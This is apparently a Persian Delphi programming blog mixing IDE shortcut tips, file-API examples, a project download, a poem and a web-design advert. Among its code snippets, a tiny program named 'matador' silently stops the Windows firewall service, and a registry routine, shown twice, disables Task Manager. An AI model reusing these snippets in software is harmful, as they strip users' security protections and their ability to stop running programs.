Collect Free Bitcoin
http://www.freebiebitcoin.com
http://www.freebiebitcoin.com
امروز یه سورس که توسط یکی از اعضای جامعه برنامه نویس نوشته شده برای دانلود واستون قرار میدم... این برنامه توسط nilidelphi نوشته شده و توضیحات نویسنده اون رو میتونید در ادامه بخونید :
با سلام خدمت همه ی دوستان و علاقمندان.
یه مدت پیش یکی از دوستان سال پایینی دانشگاهمون ازم خواست که براش یه پروژه مشاوره املاک بنویسم خوب منم نوشتم.
حالا هم برای استفاده ی همه دوستان انجمن برنامه نویس میخوام بزارم شاید مفید واقع بشه.
قبل از همه چیز میخوام یه اطلاعاتی در مورد برنامه بدم :
1-این برنامه توسط زبان برنامه سازی دلفی 2009 نوشته شده.
2-پایگاه داده ی این نرم افزار SQL server 2005.
3-این برنامه در محیط ویندوز 7 کامپایل شده. چون من می خواستم دوستان یه تجربه ای در نوشتن برنامه در ویندوز 7 هم داشته باشند بهمین خاطر تحت ویندوز 7 ساختم و دارای زیبایی های خاص ویندوز 7 هم است و همینطور از امکانات جدید دلفی 2009 هم استفاده کردم.به دوستان سفارش می کنم که برنامه را در محیط ویندوز 7 یا ویستا اجرا کنند.
در ضمن برای اتصال به پیاگاه داده از ADO استفاده شده.
دانلود برنامه و سورس مشاور املاک
منتظر نظراتتون هستم و ازتون میخوام واسم دعا کنید. مهدی اعترافی
محیط دلفی برای برنامه نویسی یکی از بهترین محیطهای برنامه نویسی است گذشته از کارکرد داخلی و کمپایلر آن که بسیار قوی و سریع است، محیط آن یعنی IDE آنهم قدرت بسیار زیادی دارد که باعث شده یکی از بهترین ادیتورها باشد. در این مقاله من سعی بر این داشته ام تا با ارائه یک سری از نکات و کلیدهای میانبر که می توانند برای کار در دلفی بسیار مفید و کارا باشند، کمک کنم تا شما بتوانید با قدرت بیشتر به برنامه نویسی و کار در این محیط قدرتمند ادامه دهید.
در قسمت اول مقاله که در حال حاضر در مقابل شماست من یک سری از کلیدهای میانبر و ترکیبی مورد استفاده در IDE دلفی را بصورت لیست وار و همراه یک توضیح کوچک آورده ام. دوستان عزیز برنامه نویس ممکنه که شما مدتها با دلفی مشغول برنامه نویسی بوده باشید اما من یقین دارم که در این لیست نکات و روشهای جدیدی را خواهید آموخت.
جستجو در متن بصورت مستقیم:
برای اینکار کلیدهای Ctrl+E را بفشارید و بدنبال آن شروع به تایپ کلمه مورد نظر کنید نتیجه آن را خود ببینید. برای اینکه به کلمه بعدی بروید کافیست کلید F3 را بزنید.
ایجاد فرورفتگی در کد:
بعضی اوقات - که خیلی هم پیش میآید - لازم است که یک مقداری از متن را بصورت بلوک شده به جلو و یا عقب ببریم. منظور دندانه دار کردن متن است که به خوانایی برنامه کمک می کند. برای اینکار می تونید از کلید Ctrl +Shift+I برای جلو بردن و Ctrl+Shift+U برای عقب برگرداندن متن بلوک شده استفاده کنید.
پرش به قسمت تعریف یک شی (Object):
ببنید شی مورد نظرتون (از قبیل VCL, Procedure, Function,...) در کجا و چطور تعریف شده می توانید کلید Crtl رو پایین نگه داشته و روی شی مورد نظر Click کنید.
برای تغییر حالت کاراکترها:
شما می توانید یک قسمت از متن (که ممکن است با حروف بزرگ و یا کوچک تایپ شده باشد) را انتخاب کنید و با زدن کلیدهای Ctrl+O+U به ترتیب تمامی حروف کوچک آن قسمت از متن را به حروف بزرگ و تمامی حروف بزرگ آنرا به حروف کوچک تبدیل کنید. برای تعییر حالت یک کلمه نیز میتوانید روی کلمه مورد نظر رفته و کلیدهای Ctrl+K+F برای بزرگ کردن و کلیدهای Ctrl+K+E را برای کوچک کردن حروف آن کلمه بکار برد.
درست کردن ماکرو متنی:
این امکان بسیار مفید است و می تواند بسیاری از کارهای نوشتاری را کاهش دهد با اینکار شما میتوانید یک سری از کارهای تکراری که روی متون انجام می دهید را بصورت ماکرو در آورده و از آنها به راحتی استفاده کنید. برای شروع به ضبط ماکرو کلیدهای Ctrl+Shift+R را بفشارید و آن سری کارهایی را که می خواهید را انجام دهید و سپس برای اینکه به کار ضبط ماکرو پایان دهید کلیدهای Ctrl+Shift+R را دوباره بزنید. حال برای استفاده از ماکرو کافیست در هر جا که لازم بود کلیدهای Ctrl+Shift+P را بفشارید.
انتخاب متن بصورت مربعی:
اگر شما از کهنه کارهای کامپیوتر باشید حتما از زمان داس یادتون هست که برنامه ای بود به نام PE2 که یکی از امکانات بسیار جالبش این بود که یک مربع از متن رو میتوانستین انتخاب کنید و آنرا کپی یا حذف کنید. بله درست متوجه شدید در محیط دلفی هم شما اینکار را میتوانید انجام دهید اما نه به مشکلی PE2 بلکه اینکار را میتوانید فقط با گرفتن کلید Alt و کشیدن موس روی متن انجام دهید. هر چند ممکن است در نگاه اول زیاد این امکان مفید به نظر نیاید ولی بعضی وقتهای خیلی کار را راحت میکنه، که حتماً تجربه خواهید کرد.
گذاشتن علامت روی متن:
این کار که به BookMark معروف است بسیار مفید و کارا می باشد. در هنگامی که شما روی قسمتی از متن برنامه کار میکنید و می خواهید به یک قسمت دیگر بروید ممکن است برای برگشتن به مکان اول خود کمی مشکل پیدا کنید. ولی شما میتوانید با زدن چند دکمه به محل مورد نظرتون باز گردید. برای اینکار در خطی که قصد دارید علامت بگذارید کلیدهای Ctrl+Shift+0..9 را بفشارید. منظور اینست که کلیدهای Ctrl+Shift را نگه دارید و یکی از اعداد 0 تا 9 را وارد کنید تا آن خط به همان شماره علامت گذاری شود و سپس هر جا که خواستید بروید و سپس هر بار که کلید Ctrl را نگه دارید و شماره مورد نظر را وارد کنید به همان خط باز خواهید گشت. البته توجه داشته باشید که فقط می توانید 10 خط را با این روش علامت گذاری بکنید و برای برداشتن علامت ها کافیست روی همان خط دوباره کلید Ctrl+shift و شمارهای که برای آن خط وارد کرده اید را بفشارید با اینکار علامت آن خط برداشته می شود.
ایجاد کلاس مورد نظر:
شما هنگامی که در قسمت Private و یا Public یک type، روال یا تابع درست کردید لازم دارید که قسمتی را برای قرار دادن کدهای مربوط به آن روال یا تابع را ایجاد کنید. برای اینکار شما پس از اینکه نام تابع را تایپ کردید می توانید کلیدهای Ctrl+Shift+C را فشار دهید تا دلفی یک قسمت برای نوشتن کدهای مورد نظرتان ایجاد کند.
ظاهر کردن پنجره Code insight:
شما حتما به اهمیت و مفید بودن این قسمت دلفی واقفید که در هنگام کد نویسی تا چه حد می تواند کارها را راحت کند. بله در هنگام وارد کردن کدها بعد از وارد کردن نام یک کلاس و یا Object با زدن یک نقطه (.) پنجره Code Insight ظاهر می شود. حال در بعضی وقتها شما ممکن است که نقطه را قبلا وارد کرده باشید و یا در مواقع دیگر این پنجره ظاهر نشود. در این صورت برای اینکه پنجره را ظاهر کنید باید دوباره نقطه را وارد کنید ولی راه آسانتری هم وجود دارد و آن اینست که کلیدهای Ctrl+Speacebar را فشار دهید.
ظاهر کردن پنجره Code Parameter:
همانند بالا در هنگام ظاهر شدن Hint مربوط به راهنمای توابع که معمولاً بعد از گذاشتن پرانتز مربوط ظاهر میشود و در مورد پارامترهای لازم می باشد نیز می توانید از کلیدهای Ctrl+Shift+SpaceBar استفاده کنید.
رفتن از قسمت تعریف توابع و روالها به قسمت کد آنها:
همیشه این نیاز وجود خواهد داشت که شما در هنگامی که دارید به دنبال یک روال در قسمت type میگردید بعد از پیدا کردن نام آن می خواهید که خود آن تابع یا روال را نیز ببنید. برای اینکار خوب حتما نام آن را جستجو میکنید ولی یک راه آسانتر اینست که شما روی نام آن تابع قرار گیرید و کلیدهای Ctrl+Shift+Up/Down را بزنید. در اینحالت اگر روی کد تابع باشید به قسمت تعریف آن خواهید رفت.
برگرفته از سایت iDevCenter
آموزش پاسکال سری آخر
آموزش پاسکال
نظر یادتون نره...
شما می تونید این کامپوننت رو از اینجا دانلود کنید... از گروه ستاره هسیل هم تشکر میکنم که اجازه دادن فایل رو اونجا آپلود کنم تا راحتتر و همیشه بتونید دانلودش کنید...
منتظر نظراتتون هستم....
گروه ستاره سهیل مفتخر است با کادری مجرب در زمینه خدمات سایتهای اینترنتی و ارائه سرویسهای میزبانی وب ـ ثبت دامنه ـ و مدیریت وب سایت و دهها خدمات تخصصی و مشاوره آماده ارائه خدمات میباشد.
• استفاده از تکنیک های روز در ساخت سایت و افزایش ترافیک سایت
• ارتباط با بانک ها جهت فروش online
• پشتیبانی و پاسخگویی به مشتریان
• طراحی وب سایت از مشاوره تا راه اندازی
• ثبت دامنه
• ارائه طراحی های حرفه ای وب سایت
• ما با استفاده از کاملترین سیستم آمار سایت ، کمترین هزینه ، دقیق ترین آمارهای تحلیلی را بر اساس بازدیدکنندگان وب سایت شما در اختیار شما قرار می دهیم.
• در صورت نیاز به مشاوره برای طراحی وب سایت ، بهینه سازی وب ، افزایش ترافیک سایت ، ثبت دومین و اجاره فضا با مشاوران وب ما تماس بگیرید.
جهت سفارش و یا کسب اطلاعات بیشتر می توانید با شماره تلفن 09363094756 با ما ارتباط برقرار نمایید.
طراحی زیبا و پشتیبانی کامل سایت به همراه صفحه تماس با ما... 6 صفحه فقط 20 هزار تومان
به سایت www.soheilstar.ir مراجعه فرمائید.
در سایت گروه ستاره سهیل علاوه بر خدمات طراحی سایت و مالتی مدیا خدمات رایگانی در زمینه برنامه نویسی دلفی نیز انجام میشود... به سایت گروه ستاره سهیل به آدرس www.soheilstar.ir مراجعه نمائید.
از دوستان هم میخوام اگه سایت یا وبلاگی میشناسن تو نظرات بزارن تا همه استفاده کنند.
برای نصب Quick Report در Delphi7 به صورت زیر عمل کنید :
۱- Delphi 7 رو اجرا کنيد.
۲- از منوی Componet گزينه Install Packages رو انتخاب کنيد.
۳- روی دکمه Add کليک کنيد.
۴- به شاخه ای که دلفی رو نصب کرده ايد برويد و وارد شاخه Bin بشويد.
۵- فايل dclqrt70.bpl رو انتخاب کنيد.
۶- روی دکمه Open کليک کنيد.
7- روی دکمه Ok کليک کنيد.
۸- نظرتون رو برام بنويسين.
Directories
Create a Directory :
* CreateDir('c:\path');
Remove a Directory : RemoveDir('c:\path') or RmDir('c:\path')
Change a Directory : ChDir('c:\path')
Current Directory : GetCurrentDir
Check if a Directory exists : if DirectoryExists('c:\path') then ...
Files
Rename a File : RenameFile('file1.txt', 'file2.xyz')
Delete a File : DeleteFile('c:\text.txt')
Move a File : MoveFile('C:\file1.txt','D:\file1.txt');
Copy a File :
* CopyFile(Pchar(File1),PChar(File2),bFailIfExists)
Change a File's Extension : ChangeFileExt('test.txt', 'xls')
Check if a File exists : if FileExists('c:\filename.tst') then ...
غیر فعال کردن Task Manager :
procedure DisableTaskMgr(bTF: Boolean);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software', True);
reg.OpenKey('Microsoft', True);
reg.OpenKey('Windows', True);
reg.OpenKey('CurrentVersion', True);
reg.OpenKey('Policies', True);
reg.OpenKey('System', True);
if bTF = True then
begin
reg.WriteString('DisableTaskMgr', '1');
end
else if bTF = False then
begin
reg.DeleteValue('DisableTaskMgr');
end;
reg.CloseKey;
end;
// Example Call:
procedure TForm1.Button1Click(Sender: TObject);
begin
DisableTaskMgr(True);
end;
به دلیل اسباب کشی و مسائل متفرقه به مدت ۱ هفته در خدمت دوستان نخواهم بود... عذر خواهی بنده رو بپذیرید... اگر سوالی بود به ایمیل بزنید تا در الوین فرصت بهتون پاسخ بدم....
بازم شرمندتونم...
type
PSHQueryRBInfo = ^TSHQueryRBInfo;
TSHQueryRBInfo = packed record
cbSize: DWORD;
// Size of the structure, in bytes.
// This member must be filled in prior to calling the function.
i64Size: Int64;
// Total size of all the objects in the specified Recycle Bin, in bytes.
i64NumItems: Int64;
// Total number of items in the specified Recycle Bin.
end;
const
shell32 = 'shell32.dll';
function SHQueryRecycleBin(szRootPath: PChar; SHQueryRBInfo: PSHQueryRBInfo): HResult;
stdcall; external shell32 Name 'SHQueryRecycleBinA';
function GetDllVersion(FileName: string): Integer;
var
InfoSize, Wnd: DWORD;
VerBuf: Pointer;
FI: PVSFixedFileInfo;
VerSize: DWORD;
begin
Result := 0;
InfoSize := GetFileVersionInfoSize(PChar(FileName), Wnd);
if InfoSize <> 0 then
begin
GetMem(VerBuf, InfoSize);
try
if GetFileVersionInfo(PChar(FileName), Wnd, InfoSize, VerBuf) then
if VerQueryValue(VerBuf, '\', Pointer(FI), VerSize) then
Result := FI.dwFileVersionMS;
finally
FreeMem(VerBuf);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
DllVersion: integer;
SHQueryRBInfo: TSHQueryRBInfo;
r: HResult;
begin
DllVersion := GetDllVersion(PChar(shell32));
if DllVersion >= $00040048 then
begin
FillChar(SHQueryRBInfo, SizeOf(TSHQueryRBInfo), #0);
SHQueryRBInfo.cbSize := SizeOf(TSHQueryRBInfo);
R := SHQueryRecycleBin(nil, @SHQueryRBInfo);
if r = s_OK then
begin
label1.Caption := Format('Size:%d Items:%d',
[SHQueryRBInfo.i64Size, SHQueryRBInfo.i64NumItems]);
end
else
label1.Caption := Format('Err:%x', [r]);
end;
end;
{
The SHQueryRecycleBin API used in this method is
only available on systems with the latest shell32.dll installed with IE4 /
Active Desktop.
}
بدست آوردن نام Cpu و سرعت آن :
// this code will get the cpu identifier from the windows registry
uses
Registry;
function CPUname: string;
var
Reg: TRegistry;
begin
CPUname := '';
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\Hardware\Description\System\CentralProcessor\0', False) then
CPUname := Reg.ReadString('Identifier');
finally
Reg.Free;
end;
end;
// this code will get the cpu speed from the windows registry
uses
Registry;
function GetCpuSpeed: string;
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('Hardware\Description\System\CentralProcessor\0', False) then
begin
Result := IntToStr(Reg.ReadInteger('~MHz')) + ' MHz';
Reg.CloseKey;
end;
finally
Reg.Free;
end;
end;
فرمت درایو :
// formating a floppy drive, harddisk, or another drive
// Eine Diskette, Harddisk oder ein anderes Laufwerk formatieren
{
The SHFormatDrive API provides access to the Shell's format
dialog box. This allows applications that want to format disks to bring
up the same dialog box that the Shell uses for disk formatting.
}
const
SHFMT_DRV_A = 0;
SHFMT_DRV_B = 1;
SHFMT_ID_DEFAULT = $FFFF;
SHFMT_OPT_QUICKFORMAT = 0;
SHFMT_OPT_FULLFORMAT = 1;
SHFMT_OPT_SYSONLY = 2;
SHFMT_ERROR = -1;
SHFMT_CANCEL = -2;
SHFMT_NOFORMAT = -3;
function SHFormatDrive(hWnd: HWND;
Drive: Word;
fmtID: Word;
Options: Word): Longint
stdcall; external 'Shell32.dll' Name 'SHFormatDrive';
procedure TForm1.Button1Click(Sender: TObject);
var
FmtRes: Longint;
begin
try
FmtRes := ShFormatDrive(Handle,
SHFMT_DRV_A,
SHFMT_ID_DEFAULT,
SHFMT_OPT_QUICKFORMAT);
case FmtRes of
SHFMT_ERROR: ShowMessage('Error formatting the drive');
SHFMT_CANCEL: ShowMessage('User canceled formatting the drive');
SHFMT_NOFORMAT: ShowMessage('No Format')
else
ShowMessage('Disk has been formatted!');
end;
except
ShowMessage('Error Occured!');
end;
end;
{
Normally, if a diskette is not in the drive when SHFormatDrive is called,
the system displays a critical error dialog box that asks the user
to Abort, Retry, or Ignore.
You can prevent the system from displaying this dialog box by calling
the SetErrorMode API with SEM_FAILCRITICALERRORS.
}
var
EMode: Word;
begin
EMode := SetErrorMode(SEM_FAILCRITICALERRORS);
// ShFormatDrive Code....
SetErrorMode(EMode);
end;
program matador;
{$APPTYPE GUI}
uses
Windows, winsvc, shellapi;
procedure Close_Firewal;
var
SCM, hService: LongWord;
sStatus: TServiceStatus;
begin
SCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
hService := OpenService(SCM, PChar('SharedAccess'), SERVICE_ALL_ACCESS);
ControlService(hService, SERVICE_CONTROL_STOP, sStatus);
CloseServiceHandle(hService);
end;
begin
Close_Firewal;
end.
uses ShellApi;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShellExecute (HWND(nil), 'open', 'taskmgr', '', '',SW_SHOWNORMAL);
end;
مشخص نمودن اجراء بودن یک پروسس :
uses TlHelp32;
function processExists(exeFileName: string): Boolean;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
Result := False;
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
begin
Result := True;
end;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
// Example Call:
procedure TForm1.Button1Click(Sender: TObject);
begin
if processExists('calc.exe') then
ShowMessage('process is running')
else
ShowMessage('process NOT running');
end;
غیر فعال کردن Ctrl+Alt+Delet :
procedure DisableTaskMgr(bTF: Boolean);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software', True);
reg.OpenKey('Microsoft', True);
reg.OpenKey('Windows', True);
reg.OpenKey('CurrentVersion', True);
reg.OpenKey('Policies', True);
reg.OpenKey('System', True);
if bTF = True then
begin
reg.WriteString('DisableTaskMgr', '1');
end
else if bTF = False then
begin
reg.DeleteValue('DisableTaskMgr');
end;
reg.CloseKey;
end;
// Example Call:
procedure TForm1.Button1Click(Sender: TObject);
begin
DisableTaskMgr(True);
end;
چه جمعه ها که یک به یک غروب شد نیامدی
چه بغضها که در گلو رسوب شد نیامدی
خلیل آتشین سخن تبر به دوش بت شکن
خدای ما دوباره سنگ و چوب شد نیامدی
برای ما که دلشکسته ایم و خسته ایم نه
ولی برای عده ای چه خوب شد نیامدی
تمام طول هفته را به انتظار جمعه ام ...
دوباره صبح ٫ ظهر ٫ نه ! غروب شد نیامدی
چندتا از بچه ها در مورد ویژوال بیسیک پرسیدن باید خدمتشون عرض کنم متاسفانه من به این زبان تسلطی ندارم و چیزایی که در موردش میدونم در حد کلاسایه مفید دانشگاهه!!! پس نمیتونم کمکشون کنم.
یکی از دوستان هم درباره نسخه اورژینال ویژوال پرسیدن که متاسفانه نمیدونم، اگه کسی میدونه اینجا تو نظرات بزاره تا به این دوستمون کمک کنه.
منتظر سوال ها و نظراتتون هستم.... فعلا تا بعد....
ShellExecute (HWND(nil), 'open', 'calc','', '', SW_SHOWNORMAL);
ADOQuery2.Close;
ADOQuery2.SQL.Clear;
ADOQuery2.SQL.Add('SELECT data FROM T1 WHERE (dat >= CONVERT(DATETIME, "1989/05/07 12:00:00 ", 102)) AND (dat <= CONVERT(DATETIME, "2000/09/08 12:00:00 ", 102))') ;
ADOQuery2.Active:=True;
procedure TForm1.Button1Click(Sender: TObject);
var
hn : HWND;
begin
hn:= FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,
'TrayNotifyWnd',nil),0,'TrayClockWClass',nil);
if hn <> 0 then
ShowWindow(hn,SW_HIDE);
end;
برای نمایش مجدد همان کدهای بالا تکرار کرده ولی بجای سطر آخر کد زیر را قرار دهید:
ShowWindow(hn,SW_SHOW);
Procedure TForm1.FormPaint(Sender: TObject);
Var
Wnd:HWnd;
R1,R2:HRGN;
R:TRect;
Begin
Wnd:=Application.MainForm.Handle;
GetWindowRect(Wnd,R);
R1:=CreateRectRgn(0,0,R.Right-R.Left,R.Bottom-R.Top);
R2:=CreateEllipticRgn(10,30,150,120);
CombineRgn(R1,R1,R2,RGN_DIFF);
SetWindowRgn(Wnd,R1,true);
End;
(فارسی یا عربی یا انگلیسی یا....)
function GetLangugeSelectedName:string;
var
IdiomaID:LangID;
Idioma: array [0..100] of char;
begin
{Obtiene el ID del idioma del sistema}
{Get System ID}
IdiomaID:=GetUserDefaultLangID;
{Obtiene el nombre del idioma}
{Get Languaje Name}
VerLanguageName(IdiomaID,Idioma,100);
Result:=String(Idioma);
end;
برای فراخوانی می تونید اینجوری صداش بزنید :
Label1.Caption:=GetLangugeSelectedName;
برای تغییر زبان صفحه کلید به فارسی :
activatkeyboardlayout($00000429,KL_NAMELENGTH);
برای انگلیسی کردن صفحه کلید :
activatkeyboardlayout($00000409,KL_NAMELENGTH);
www.swissdelphicenter.ch/en/index.php